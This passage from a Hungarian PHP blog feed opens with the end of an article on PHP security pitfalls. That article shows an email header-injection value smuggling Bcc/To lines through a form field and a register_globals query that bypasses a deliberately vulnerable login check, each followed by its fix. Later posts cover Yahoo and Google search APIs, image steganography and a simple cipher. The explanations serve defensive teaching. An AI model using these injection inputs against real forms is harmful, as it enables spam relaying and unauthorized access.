<p>Jóhiszeműen bekérjük a felhasználó e-mail címét, hogy úgy tűnjön a levél tőle érkezett hozzánk, megkönnyítve ezzel a saját dolgunkat, erre a gonosz felhasználó ezt adja meg e-mail címnek: "valami@mail.cim\r\nBcc: user1@valami.mail, user2@valami.mail, user3@valami.mail". Ebből pedig ez a levél fog születni:</p>

<pre>To: felhasznalo@valami.cim
Subject: szia
From: valami@mail.cim
Bcc: user1@valami.mail, user2@valami.mail, user3@valami.mail

levél tartalma</pre>

<p>Tehát a levelet még rajtunk kívül három másik ember is megkapta. Persze ezt nem igazán szeretnénk. Sőt, ha még a sort kiegészíti úgy, hogy tartalmazzon még egy "To:" részt (valahogy így: "valami@mail.cim\r\nBcc: user1@valami.mail\r\nTo: masik@email.cim"), akkor mi meg se fogjuk kapni a levelet. A dolog lényege az, hogy nem szabad a bejövő adatokban megengedni az újsor karaktereket. Ezeket vagy kiszűrjük, vagy csak a bejövő adat első sorát használjuk fel. Ezzel el is kerülhető az e-mail injection.</p>

<h3>Egyéb tényezők</h3>

<p>Mint az fentebb is látszott, az <a href="http://php.net/filesystem#ini.allow-url-fopen"><code>allow_url_fopen</code></a> elég nagy gondokat tud okozni, megfelelően felelőtlen PHP kódoló és megfelelően felelőtlen rendszergazda használata mellett. Emellett még gondok lehetnek a <a href="http://php.net/ini.core#ini.register-globals"><code>register_globals</code></a> beállítással is, aminek hatására ugyebár a <code>$_POST['valami']</code> változót <code>$valami</code> néven is elérhetjük. A gond természetsen ott van, hogy a <code>$_GET['valami']</code> változóból is <code>$valami</code> lesz, így a <code>$valami</code> változót használó kód, aki arra számít, hogy <code>$_POST</code>-ból kap adatokat, <code>$_GET</code>-ből is simán kaphat. De a <a href="http://php.net/ini.core#ini.register-globals"><code>register_globals</code></a> miatt, ilyesmi kódokkal is gond lehet:</p>

<pre class="code prettyprint lang-php">&lt;?php
	if ($_POST['name'] === 'name' &amp;&amp; $_POST['password'] === 'password') {
		$authorized = true;
	}
	if ($authorized == true) {
		/* valami bizalmas adat megjelenítése */
	}
?&gt;</pre>

<p>Bár látszik, hogy a <code>POST</code> adatok elérésére a <code>$_POST</code> tömböt használjuk, de ha a scriptet úgy hívjuk meg, hogy <code>/script.php?authorized=true</code>, akkor a <a href="http://php.net/ini.core#ini.register-globals"><code>register_globals</code></a> miatt a második elágazás is igazra értékelődik ki, ha nem küldtük el <code>POST</code>-ban a megfelelő felhasználó nevet és jelszót. Persze a kód <a href="http://php.net/ini.core#ini.register-globals"><code>register_globals</code></a> bekapcsolt állapota mellett is könnyen javítható:</p>

<pre class="code prettyprint lang-php">&lt;?php
	$authorized = false;
	if ($_POST['name'] === 'name' &amp;&amp; $_POST['password'] === 'password') {
		$authorized = true;
	}
	if ($authorized == true) {
		/* valami bizalmas adat megjelenítése */
	}
?&gt;</pre>

<p>Mellesleg magának a kódnak egy második hibája is volt, ami miatt a fenti hiba kihasználható lett. Ez a kettős egyenlőségjel használata volt az <code>if ($authorized == true)</code> sorban. Ha a kódban hármas egyenlőségjelet használunk kettős helyett, akkor a <code>GET</code>-ben megadott <code>'true'</code> stringgel nem értékelte volna ki a kifejezést igaznak a PHP. Ebből bárhol máshol is rengeteg probléma lehet, így - meglátásom szerint legalábbis - érdemes összehasonlítások esetében a hármas egyenlőségjelet preferálni a kettős egyenlőségjellel szemben.</p>

<p>Egy másik probléma a <a href="http://php.net/ref.info#ini.magic-quotes-gpc"><code>magic_quotes_gpc</code></a> beállítás lehet. Bár a beállítás azért született, hogy a bejövő adatokban a szimpla és a dupla idézőjeleket automatikusan backslash-el escape-elje növelve ezzel a biztonságot, ez szerintem csak hamis biztonságérzetet ad a kód írójának, ugyanis <a href="http://php.net/ref.info#ini.magic-quotes-gpc"><code>magic_quotes_gpc</code></a> bekapcsolt állapota mellett is lehet olyan rosszindulatú adatokat küldeni, amik elérik céljukat. Így érdemesebb minden bejövő adatot saját kézzel szűrni. De a gond természtesen nem csak PHP oldalról jöhet, a MySQL alapértelmezett beállításai tovább ronthatják a helyzetet egy hasonló támadás esetén (gondolok itt a jelszó nélküli root felhasználóra, aki bármilyen hostról csatlakozhat), bár az ilyen hibák csak akkor használhatóak ki igazán, ha PHP oldalon van felület a bejutásra.</p>

<p>Befejezésként nem mondhatok mást, mint hogy szűrjetek, szűrjetek, szűrjetek. Minden nem megbízható forrásból (mint például adatbázis) származó adatot szűrni kell. Nincs kivétel, nincs kifogás. Ehhez persze szükség van arra, hogy ismerjük a dolgok működését, hogy tudjuk egyáltalán mit is kell szűrni. A másik dolog, ami még sosem árt, hogy minden ilyen esemény naplózva legyen, hogy legalább lássuk, ha valaki ilyesmivel próbálkozik.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/05/19/a-php-biztonsagi-buktatoi/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Yahoo! Search API</title>
		<link>http://deadlime.hu/2006/05/14/yahoo-search-api/</link>
		<comments>http://deadlime.hu/2006/05/14/yahoo-search-api/#comments</comments>
		<pubDate>Sun, 14 May 2006 12:42:16 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[XML]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/05/14/yahoo-search-api/</guid>
		<description><![CDATA[Miután Polaa belevetette magát a Google API rejtelmeibe, gondoltam megnézem, hogy a konkurens keresővállalatnál mi a helyzet ilyen téren. Természetesen létezik Yahoo! API is. Természetesen arra ne is gondoljunk, hogy a Google által használt megoldást valósították meg Ők is. Miért is tették volna? Tehát az előzőekben átnézett, megszeretett SOAP kódunkat a Yahoo! esetében dobhatjuk a [...]]]></description>
			<content:encoded><![CDATA[<p>Miután Polaa belevetette magát a Google API rejtelmeibe, gondoltam megnézem, hogy a konkurens keresővállalatnál mi a helyzet ilyen téren. Természetesen létezik Yahoo! API is. Természetesen arra ne is gondoljunk, hogy a Google által használt megoldást valósították meg Ők is. Miért is tették volna? Tehát az előzőekben átnézett, megszeretett SOAP kódunkat a Yahoo! esetében dobhatjuk a kukába. No de nézzük mire is lesz szükségünk.</p>

<p>Először is, <a href="http://api.search.yahoo.com/webservices/register_application">vadásznunk kell magunknak</a> egy application id-t, amit majd minden kéréshez hozzá kell csatolnunk. Ehhez szükségünk lesz egy Yahoo! ID-re is, mert akkor már ugye növeljük a Yahoo! felhasználók táborát. Ha minden megvan, akkor igazából készen is vagyunk és kezdhetünk kódot írni. A kódoláshoz használtam a cURL kiterjesztést, mivel ez nagyban megkönnyíti a dolgunkat, de használhatnánk <code>file_get_contents()</code> függvényt, ha engedélyezve van a php.ini-ben az allow_url_fopen vagy pedig használhatjuk az <code>fsockopen()</code> függvényt is, ha lehetőségünk van rá.</p><span id="more-47"></span>

<p>No, csapjunk a lecsóba, nézzünk egy kis kódot, amivel megkaphatjuk egy keresés eredményét XML formátumban:</p>

<pre class="code prettyprint lang-php">header('Content-Type: text/xml');

$app_id = 'ide jön az application id';

$service = array(
	'image' =&gt; 'http://api.search.yahoo.com/ImageSearchService/V1/imageSearch',
	'local' =&gt; 'http://api.local.yahoo.com/LocalSearchService/V1/localSearch',
	'news' =&gt; 'http://api.search.yahoo.com/NewsSearchService/V1/newsSearch',
	'video' =&gt; 'http://api.search.yahoo.com/VideoSearchService/V1/videoSearch',
	'web' =&gt; 'http://api.search.yahoo.com/WebSearchService/V1/webSearch'
);

$conn = curl_init($service['web'].'?appid='.$app_id.'&amp;query=deadlime');
curl_setopt($conn, CURLOPT_HEADER, false);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, true);
$xml = curl_exec($conn);
curl_close($conn);
 
echo $xml;</pre>

<p>Mint az látszik, van egy $service tömb, amiben tároljuk a Yahoo! egyes API-jainak az elérési útját. Tulajdonképpen mindenféle PHP nélkül a böngészőben is játszhatnánk ezzel, hogy beírjuk címnek az egyik szolgáltatást és a következő GET paraméterekkel bővítjük a lekérdezést:</p>

<dl>
<dt>appid</dt>
<dd>Az application id, amit kaptál.</dd>
<dt>query</dt>
<dd>A lekérés szövege, érdemes lefuttatni rajta egy urlencode() vagy rawurlencode() függvényt.</dd>
<dt>zip</dt>
<dd>Zipcode, csak a Local Search szolgáltatásnál használható.</dd>
<dt>start</dt>
<dd>Ezzel lehet megadni, hogy hányadik elemtől mutassa a találatokat.</dd>
</dl>

<p>Nincs más hátra, mint kinyerni az adatokat a kapott XML fájlból, aminek a formátuma a $service['web'] esetén (ezt használtuk a fentebbi PHP példában) a következő:</p>

<pre class="code prettyprint lang-xml">&lt;ResultSet xsi:schemaLocation=&quot;urn:yahoo:srch http://api.search.yahoo.com/WebSearchService/V1/WebSearchResponse.xsd&quot; totalResultsAvailable=&quot;&quot; totalResultsReturned=&quot;&quot; firstResultPosition=&quot;&quot;&gt;
	&lt;Result&gt;
		&lt;Title&gt;&lt;/Title&gt;
		&lt;Summary&gt;&lt;/Summary&gt;
		&lt;Url&gt;&lt;/Url&gt;
		&lt;ClickUrl&gt;&lt;/ClickUrl&gt;
		&lt;ModificationDate&gt;&lt;/ModificationDate&gt;
		&lt;MimeType&gt;&lt;/MimeType&gt;
		&lt;Cache&gt;
			&lt;Url&gt;&lt;/Url&gt;
			&lt;Size&gt;&lt;/Size&gt;
		&lt;/Cache&gt;
	&lt;/Result&gt;
&lt;/ResultSet&gt;</pre>

<p>Nagyjából ennyi lenne a dolog. Mint az jól látszik, nem annyira testreszabható, mint a Google által kínált felület, viszont próbára tehetjük vele az XML értelmezési tudásunkat... :)</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/05/14/yahoo-search-api/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Web API</title>
		<link>http://deadlime.hu/2006/05/14/google-web-api/</link>
		<comments>http://deadlime.hu/2006/05/14/google-web-api/#comments</comments>
		<pubDate>Sun, 14 May 2006 10:43:04 +0000</pubDate>
		<dc:creator>Polaa</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SOAP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/05/14/google-web-api/</guid>
		<description><![CDATA[Az egyik legegyszerűbb a google által kínált api-k közül a web api. Ebbe a felületbe három szolgáltatás tartozik bele. Ezek a keresés, a cache-elt oldalak elérése, illetve a helyesírás ellenőrző (google.com -ról ismert Did you mean dolog). Ahhoz, hogy igénybe vehessük az api-t, először regisztrálnunk kell magunknak egy google accountot, majd igényelni kell egy licence [...]]]></description>
			<content:encoded><![CDATA[<p>Az egyik legegyszerűbb a google által kínált api-k közül a web api. Ebbe a felületbe három szolgáltatás tartozik bele. Ezek a keresés, a cache-elt oldalak elérése, illetve a helyesírás ellenőrző (google.com -ról ismert Did you mean dolog). Ahhoz, hogy igénybe vehessük az api-t, először regisztrálnunk kell magunknak egy google accountot, majd igényelni kell egy licence key-t. Ezzel a kulccsal napi 1000 kérést hajthatunk végre. </p>
<span id="more-45"></span>
<p>A szolgáltatások elérése SOAP-al történik. Java illetve .NET nyelvekhez példaprogramokat is letölthetünk, illetve az osztálykönyvtárakat is a könnyebb eléréshez.
Php-ben a beépített SOAP kiterjesztés áll a rendelkezésünkre. Ahhoz, hogy el is érjük ezt a kiterjesztést, linuxon az --enable-soap kapcsolót kell használni, illetve a php.ini-ben szerepeltetni kell az extension-oknál.
Első dolgunk, hogy példányosítunk egy SOAP klienst.</p>
<pre class="code prettyprint lang-php">
$client = new SoapClient('http://api.google.com/GoogleSearch.wsdl');

</pre>
<p>A kliensnek kezdésként meg kell adnunk a web szolgáltatást leíró fájl címét. Ebből fogja "tudni", hogy milyen szolgáltatások, milyen függvények hívhatók meg és azokra mit kell visszakapnia.</p>
<p>A példányosítás után már elég könnyű dolgunk van, csak a megfelelő függvényeket kell meghívnunk a kliensen keresztül. A visszatérési érték mindhárom esetben más típusú.<br/>
A helyesírás ellenőrző:</p>
<pre class="code prettyprint lang-php">try
{
	$params = array(
		'key' 		=&gt; '',		# licence key					
		'phrase' 	=&gt; 'deadlime'	# kifejezés
	);
	$response = $client-&gt;__soapCall('doSpellingSuggestion', $params);

	# mivel wsdl módban vagyunk, ezért akár közvetlenül is meghívhatnánk a függvényt
	//$response = $client-&gt;doSpellingSuggestion(...);
}
catch(Exception $e)
{
	die($e-&gt;getMessage());
}
</pre>
<p>A <code>$response</code> string típusú, ami vagy üres vagy a felajánlott szót tartalmazza. Magyar szavakra sajnos nem működik. Közvetlen hívás esetén a <code>$params</code> tömb helyett "normál" paraméterezéssel kell megadnunk az adatokat.<br/>
A cache-elt oldal:</p>
<pre class="code prettyprint lang-php">try
{
	$params = array(
		'key' =&gt; '', 				# licence key
		'url' =&gt; 'http://www.deadlime.hu'	# az oldal címe, amiről a google által tároltat szeretnénk megkapni
	);
	$response = $client-&gt;__soapCall('doGetCachedPage', $params);
	$response = base64_decode($response);
}
catch(Exception $e)
{
	die($e-&gt;getMessage());
}
</pre>
<p>A cache-elt oldalt base64-ben kódolt szövegként kapjuk meg.<br/>
A keresés:</p>
<pre class="code prettyprint lang-php">try
{
	$params = array(
		'key' 		=&gt; '',  	# licence key
		'q' 		=&gt; 'deadlime',	# keresési kifejezés
		'start' 	=&gt; 0,		# melyik elemtől kezdve adja vissza a találatokat
		'maxResults' 	=&gt; 10,		# mennyi találatot adjon vissza
		'filter' 	=&gt; true,	# eredmény szűrése
		'restrict' 	=&gt; 'countryHU',	# megkötések
		'safeSearch' 	=&gt; false,	# felnőtt tartalmak szűrése
		'lr' 		=&gt; 'lang_hu',	# nyelvi megszorítások
		'ie'		=&gt; '',		# bemeneti karakterkódolás (alapértelmezett: UTF-8)
		'oe'		=&gt; ''		# kimeneti karakterkódolás (alapértelmezett: UTF-8)
	); 
	$response = $client-&gt;__soapCall('doGoogleSearch', $params);
}
catch(Exception $e)
{
	die($e-&gt;getMessage());
}
</pre>
<p>A <code>$response</code> ebben az esetben egy objektum, benne minden fontos adattal. A "filter" illetve a "restrict" sor elsőre valószínűleg nem egyértelmü. A "filter" bekapcsolásával a duplikált találatokat lehet kiszürni. A "restrict" értékéül egy kifejezést adhatunk. Ebben a kifejezésben megadhatjuk, hogy mely oszrágokra, illetve mely témakörökre korlátozzuk a keresést.</p>

<h3>Kapcsolódó linkek:</h3>
<ul>
	<li><a href="https://www.google.com/accounts/NewAccount">Google Account</a></li>
	<li><a href="http://www.google.com/apis/">Google Licence Key</a></li>
	<li><a href="http://php.net/soap">php.net/SOAP</a></li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/05/14/google-web-api/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Adatrejtés képekben</title>
		<link>http://deadlime.hu/2006/05/11/adatrejtes-kepekben/</link>
		<comments>http://deadlime.hu/2006/05/11/adatrejtes-kepekben/#comments</comments>
		<pubDate>Thu, 11 May 2006 11:19:32 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[adatrejtés]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/05/11/adatrejtes-kepekben/</guid>
		<description><![CDATA[Hú, hihetetlen, hogy mennyit szívtam ennek a bejegyzésnek a kódjával. De erről majd egy picit később, kezdjük az elejéről: ismét eszembe ötlött egy hasonlóan haszontalan ötlet, mint előző bejegyzésemben, amikor is egy titkosító algoritmusról volt szó. A téma - ahogy azt a cím is mutatja - közel áll az előbb említett bejegyzéshez, csak most nem [...]]]></description>
			<content:encoded><![CDATA[<p>Hú, hihetetlen, hogy mennyit szívtam ennek a bejegyzésnek a kódjával. De erről majd egy picit később, kezdjük az elejéről: ismét eszembe ötlött egy hasonlóan haszontalan ötlet, mint előző bejegyzésemben, amikor is egy titkosító algoritmusról volt szó. A téma - ahogy azt a cím is mutatja - közel áll az előbb említett bejegyzéshez, csak most nem titkosítani szeretnénk, hanem el szeretnénk rejteni az adatainkat a kíváncsi szemek elől. Ki akarna bármit is megfejteni, egy olyan helyen, ahol senki sem gondolná, hogy van bármi is, amit meg lehetne fejteni?</p>

<p>A kódoláshoz ismét a PHP svájci bicskát megszégyenítő eszköztára lesz a segítségünkre, azon belül is a GD könyvtár. Csapjunk is bele!</p><span id="more-49"></span>

<p>Először is ejtsünk pár szót a képekről. Vegyünk egy átlagos 300*300 pixeles képet, melynek minden egyes pontja három vagy esetleg négy darab nyolc bites szám által van meghatározva. Ez a híres nevezetes RGBa, azaz Red-Green-Blue-alpha. Az alpha része most minket nem érdekel, foglalkozzunk csak az RGB-vel. Mint fentebb említettem, ezek nyolc bites számok vagyis 0 és 255 közé esnek (vagy akinek úgy barátságosabb, 00 és FF közé), tehát egy pixel meghatározásához 24 bitre van szükségünk. Így tovább okoskodva, egy 300*300 pixeles kép mérete 300*300*24 bit (közel 263 kilobyte). Ez elég soknak tűnik, de ha minden igaz ez a BMP tömörítetlen módszere. Mivel ez egy ilyen hatalmas dolog, megjelentek különböző tömörítési eljárások, mint a JPG, amivel most nem fogunk foglalkozni, mivel számunkra létfontosságú, hogy a készülő képünk minden pixelének színét pontosan meg tudjuk határozni.</p>

<p>Mi is akkor a megoldás? Mivel a PHP nem tud kezelni BMP-ket, ezért egyetlen választásunk a PNG (vagy esetleg GIF) által nyújtott indexelt képek maradtak. Hogy mik is azok az indexelt képek? Az indexelt képben van egy vektor (egy dimenziós tömb), 0-tól 255-ig indexelve, amiben vannak tárolva a kép által használt színek (tehát 256*24 bit eddig), a képben pedig a szín helyén csak az index száma van megjelenítve. A dolog lényege, hogy jóval kisebb fájlméretet eredményez (a fenti 300*300 pixeles képnél maradva ez úgy 88 kilobyte), viszont megvan az a megkötése, hogy csak 256 vagy kevesebb különböző színt lehet a képben használni. Természetesen a dolog a való életben nem ennyire egyszerű, de nekünk most ennyi is elég. Térjünk át az adatrejtési eljárás működési elvére.</p>

<p>A lényeg abban rejlik, hogy vesszük egyesével a pixeleket, megnézzük a pixel egyik (vagy mindhárom) színének értéket (ugye ami 0 és 255 között van) majd páros illetve páratlan számra változtatjuk, attól függetlenül, hogy az elrejteni kívánt bitünk éppen nulla vagy egy. A bitet pedig egyszerűen úgy szerezzük, hogy vesszük a karakter ascii kódjának bináris formáját (szintén 0 és 255 közötti szám), a kriptós bejegyzéshez hasonló módon feltöltjük az elejét kellő mennyiségű nullával, majd szépen a pixelekbe kódoljuk. Az elgondolás szép, csak van vele pár probléma. Fentebb ugye említettem, hogy csak 256 különböző színt használhatunk, így ha egy eleve 256 színű kép színeit változtatjuk, előfordulhat, hogy túllépjük ezt a keretet és nem sikerül megfelelően az adatrejtés. Még szerencse, hogy pontosan 256 darab szürkeárnyalat van (a feketével és a fehérrel együtt), amiket bárhogy változtatunk páros vagy páratlan számmá, ugyanúgy szürkék maradnak (tehát a meglévő palettán lesznek).</p>

<p>Úgy érzem egyre inkább itt az ideje egy kis kódot is látni a sok száraz anyag után, hogy mindez, amit felvázoltunk valósággá válhasson:</p>

<pre class="code prettyprint lang-php">$text = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Sed posuere risus eget orci. Nullam augue. Nulla porta lacus vitae nulla.
Donec volutpat, libero nec ultrices condimentum, metus est congue velit, in
tincidunt felis sem vel ante. Integer at tellus vitae lorem mollis viverra.
Nulla eros. Class aptent taciti sociosqu ad litora torquent per conubia
nostra, per inceptos hymenaeos. Praesent sollicitudin arcu ac leo. Donec
nulla justo, imperdiet id, eleifend et, viverra non, tellus. Nunc auctor,
ligula ac tempor ornare, ipsum diam consequat justo, vitae tristique leo
massa non velit. Praesent tincidunt pharetra felis. Curabitur nec massa.
Nam vel purus. Nulla suscipit dui ac enim. Fusce bibendum varius lorem.
Pellentesque cursus massa. Phasellus ut risus vel massa dignissim
hendrerit.';
$length = strlen($text);

$old = imagecreatefrompng('image.png');
$width = imagesx($old);
$height = imagesy($old);

$new = imagecreate($width, $height);

for ($c=0;$c&lt;256;++$c) {
	$colors[$c.$c.$c] = imagecolorallocate($new, $c, $c, $c);
}</pre>

<p>Kezdetben van egy szép hosszú szövegünk, amit bele akarunk kódolni a képbe (maximum képszélesség*képmagasság/8 karakter hosszú szöveg lehet). Ezután megnyitjuk a képet és létrehozunk az eredeti kép méretével azonos méretű üres képet. Ebben a képben az imagecolorallocate() függvény segítségével lefoglaljuk az összes szürke színt (0,0,0) és (255,255,255) között.</p>

<pre class="code prettyprint lang-php">$tp = 0;
$bp = 0;
for ($i=0;$i&lt;$width;++$i) {
	for ($j=0;$j&lt;$height;++$j) {
		$old_color = imagecolorsforindex($old, imagecolorat($old, $i, $j));

		if ($tp &lt; $length) {
			$char = base_convert(ord(substr($text, $tp, 1)), 10, 2);
		}
		else {
			// Ha végeztünk a bekódolandó szöveggel, szóközöket kódolunk
			// bele a képbe.
			$char = '00100000';
		}
		if (($len=strlen($char))&lt;8) {
			$char = str_repeat('0', 8-$len).$char;
		}
		$bit = substr($char, $bp, 1);

		if ($bit === '1') {
			// A szám páros, de nekünk páratlan kell
			if (($old_color['red']%2) === 0) {
				$new_color = $old_color['red']+1;
			}
			else {
				$new_color = $old_color['red'];
			}
		}
		else {
			if (($old_color['red']%2) === 0) {
				$new_color = $old_color['red'];
			}
			// A szám páratlan, de nekünk páros kell
			else {
				$new_color = $old_color['red']-1;
			}
		}

		imagerectangle(
			$new,
			$i, $j,
			$i+1, $j+1,
			$colors[$new_color.$new_color.$new_color]
		);

		if ($bp === 7) {
			$bp = -1;
			++$tp;
		}
		++$bp;
	}
}</pre>

<p>Ez magának az elrejtésnek a ciklusa, végigmegyünk a kép összes pixelén, veszünk hozzá egy bitet a szövegből, megnézzük, hogy megfelelő szám szerepel-e a pixelen (ha nullás bitünk van, akkor páros, ha egyes akkor páratlan), ha nem, akkor pedig megfelelővé tesszük, majd berajzoljuk az új képben a megfelelő helyre. Érdemes szót ejteni az <code>imagecolorat()</code> függvényről, ami True Color képek esetén egy <code>int</code>-et adna vissza, ami az RGBa-t tárolja elég csúnya módon. Viszont a dokumentációban sehol sem láttam említést arra, hogy indexelt kép esetén a szín indexével tér vissza, pedig ez így van, ezért van szükség az <code>imagecolorsforindex()</code> függvényre is.</p>

<pre class="code prettyprint lang-php">imagepng($new, 'image-data.png');
imagedestroy($old);
imagedestroy($new);</pre>

<p>Végül lementjük az új képet, amibe bele van kódolva a szöveg és töröljük a memóriában lévő példányokat, amikre már nincs szükségünk. És íme a két kép, felül az eredeti, alul pedig az, amelyikben már elrejtettük a szöveget:</p>

<div style="text-align: center;"><img id="image50" src="/wp-content/uploads/2006/05/image.png" alt="Az eredeti kép" title="Az eredeti kép"/></div>
<div style="text-align: center;"><img id="image51" src="/wp-content/uploads/2006/05/image-data.png" alt="A kép, amiben adatokat rejtettünk el" title="A kép, amiben adatokat rejtettünk el"/></div>

<p>Természetesen nincs szemmel látható különbség, mivel csak maximum egyel változtattuk meg a pixel értékét. Az eredeti kép (színekkel) <a href="http://www.sxc.hu/photo/512550">megtalálható itt</a>. Nincs más hátra, mint, hogy megmutassam, hogyan is kaphatjuk vissza a szövegünket a képből (különben mi értelme lenne ennek a kis rejtésnek, ha mi sem találunk rá). Íme tehát a kód:</p>

<pre class="code prettyprint lang-php">$data = imagecreatefrompng('image-data.png');
$width = imagesx($data);
$height = imagesy($data);

$char = '';
$bp = 0;
for ($i=0;$i&lt;$width;++$i) {
	for ($j=0;$j&lt;$height;++$j) {
		$data_color = imagecolorsforindex($data, imagecolorat($data, $i, $j));
		$char .= ($data_color['red']%2);

		if ($bp === 7) {
			$bp = -1;
			echo chr(base_convert($char, 2, 10));
			$char = '';
		}
		++$bp;
	}
}</pre>

<p>Már csak azzal maradtam adós, hogy elmeséljem, miért is szívtam én annyit egy ilyen egyszerűnek mondható kóddal? A dolog teljes mértékben az utóbbi dekódoló script hibája volt. Ugyanis mindig értelmetlen szövegekkel tért vissza, még véletlenül sem olyasmivel, ami egy picit is hasonlítana az eredetihez. Természetesen én az adatrejtő scriptre gyanakodtam, majd a gyanúm átterelődött a PHP GD könyvtárára, hogy az machinál valamit és nem kapom meg az eredeti RGB értékeket (ugyebár ebben az eljárásban létfontosságú az, hogy ugyanazt vissza is kapjuk). Végül aztán kiderül, hogy a dekódoló 10-edik sora volt a hibás, ugyanis az ott szereplő moduló kifejezést valamiért negáltam (a fene tudja, hogy miért), így pont az inverzét kaptam meg a biteknek, ami természetesen értelmetlen karaktersorozat volt.</p>

<p>Ennyi mára, mindenkinek kellemes bitbújócskát a hétvégére.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/05/11/adatrejtes-kepekben/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Egy kis kriptográfia</title>
		<link>http://deadlime.hu/2006/04/26/egy-kis-kriptografia/</link>
		<comments>http://deadlime.hu/2006/04/26/egy-kis-kriptografia/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 22:01:11 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[kriptográfia]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/04/25/egy-kis-kriptografia/</guid>
		<description><![CDATA[Meg kell mondjam őszintén, az egész számítástechnikában és a programozásban engem két dolog nyűgöz le igazán. Az egyik a mesterséges intelligencia, a másik pedig a kriptográfia. A titkosítás tulajdonképpen már régebb óta foglalkoztat, még akkoriban kezdődött a dolog, amikor még a legnagyobb jóindulattal se mertem volna magamat programozónak nevezni. No de nézzünk valami elkódolást, ha [...]]]></description>
			<content:encoded><![CDATA[<p>Meg kell mondjam őszintén, az egész számítástechnikában és a programozásban engem két dolog nyűgöz le igazán. Az egyik a mesterséges intelligencia, a másik pedig a kriptográfia. A titkosítás tulajdonképpen már régebb óta foglalkoztat, még akkoriban kezdődött a dolog, amikor még a legnagyobb jóindulattal se mertem volna magamat programozónak nevezni. No de nézzünk valami elkódolást, ha már egyszer ez a bejegyzés címe. Választásom egy a Digitális Erőd című Dan Brown regényben is használt elkódolás egy kicsit bonyolultabb formájára esett. Megvalósítására PHP nyelven kerül sor, mivel PHP-ban könnyű stringeket kezelni és még fordítgatni se kell a dolgainkat.</p><span id="more-43"></span>

<p>Nézzük először meg, hogy hogyan is működik az eredeti technika. Fogunk egy szöveget, legyen ez esetünkben az "Ezt a rövid szöveget szeretném elkódolni." string. Először is kiszedjük belőle a szóközöket majd az egészet nagybetűsé alakítjuk és még a végére ékezetmentesítünk is (csak a biztonság kedvéért ugyebár, mert mind a szóköz mind pedig az éketezetes karakterek árulkodóak lehetnek). A kapott string az "EZTAROVIDSZOVEGETSZERETNEMELKODOLNI." lesz. Most jön a lényeg. Felírjuk a szöveget egy négyzetbe:</p>

<pre >E Z T A R O
V I D S Z O
V E G E T S
Z E R E T N
E M E L K O
D O L N I .</pre>

<p>Most jön a trükk, a szöveget ahelyett, hogy vízszintesen olvasnánk, függőlegesen olvassuk, így megkapjuk az "EVVZEDZIEEMOTDGRELASEELNRZTTKIOOSNO." stringet, ami az elkódolt szövegünk lesz. Az algoritmus - mai szemmel - természetesen egy cseppet sem mondható biztonságosnak. Jó, régebben se volt biztonságosnak mondható, mivel az elkódolás "jelszava" csupán az volt, hogy hányszor hányas négyzetbe írták bele a szöveget. Tehát aki tudta a módszert, csak ezt kellett kitalálnia, ami meg nem túl nehéz dolog, mivel a szöveg hosszából erősen következtetni lehet rá. A dolognak, mint látszik megvannak a maga hátrányai: elsősorban az, hogy a szöveg hosszát úgy kell megválasztani, hogy pont passzoljon egy ilyen négyzetbe (ami nekem rögtön nem is sikerült, ezért maradt benne a pont), aztán ott van még az a tény, hogy az elkódolt szövegben szerepelnek az eredeti szöveg karakterei, ezzel egy kis kiindulási alapot adva a kódfejtőknek, akik az egyes betűk gyakorisága és egyéb nyelvi jellemzők alapján el tudnak indulni (ezért lettek kivéve a szóközök és az ékezetes karakterek). No de nézzünk egy másik megoldást, ami ugyan ezen alapszik, de sikeresen gyárt teljesen olvashatatlan fájlt egy egyszerű mezei txt fájlból:</p>

<pre class="code prettyprint lang-php">$fr = fopen('file.txt', 'r');
$fw = fopen('file-encoded.txt', 'a');

while (!feof($fr)) {
	$data = fread($fr, 8);
	if (strlen($data)) {
		if (strlen($data) !== 8) {
			$data = $data.str_repeat('0', (8 - strlen($data)));
		}
		
		$ndata = $data;

		$adata = array();

		for ($i=0;$i&lt;8;++$i) {
			$tmp = base_convert(ord($data[$i]), 10, 2);
			if (strlen($tmp) !== 8) {
				$tmp = str_repeat('0', (8 - strlen($tmp))).$tmp;
			}
			for ($j=0;$j&lt;8;++$j) {
				$adata[$i][$j] = $tmp[$j];
			}
		}

		$ndata = '';
		for ($i=0;$i&lt;8;++$i) {
			$tmp = '';
			for ($j=0;$j&lt;8;++$j) {
				$tmp .= $adata[$j][$i];
			}
			$ndata .= chr(base_convert($tmp, 2, 10));
		}

		fwrite($fw, $ndata);
	}
}
fclose($fr);
fclose($fw);</pre>

<p>A dolog lényege a következő: megnyitjuk a fájlt és elkezdjük 8 byte-onként olvasni, ezután az olvasott karakterek ASCII kódját átváltjuk kettes számrendszerbe és kiegészítjük a kezdő nullákkal, hogy épp 8 karakter legyen, majd az egészet egy kétdimenziós tömbbe tesszük bele, valahogy így:</p>

<pre >0 1 0 0 1 1 0 0
0 1 1 0 1 1 1 1
0 1 1 1 0 0 1 0
0 1 1 0 0 1 0 1
